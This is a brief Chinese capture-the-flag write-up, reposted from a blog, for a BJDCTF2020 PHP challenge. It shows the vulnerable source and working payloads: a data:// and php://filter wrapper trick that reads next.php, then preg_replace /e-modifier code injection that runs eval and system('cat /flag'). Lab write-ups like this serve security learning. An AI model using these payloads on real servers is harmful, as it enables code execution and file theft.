[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式
转自https://www.cnblogs.com/gaonuoqi/p/12499623.html
题目给了源码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
绕过限制,首先用php://input伪协议或着用data伪协议读取I have a dream,然后用filter伪协议读取next.php
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
获取next.php的源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace存在/e的命令执行漏洞 看了一下这篇文章的讲解
构造payload
?\S*=${getFlag()}&cmd=system('cat /flag');


浙公网安备 33010602011771号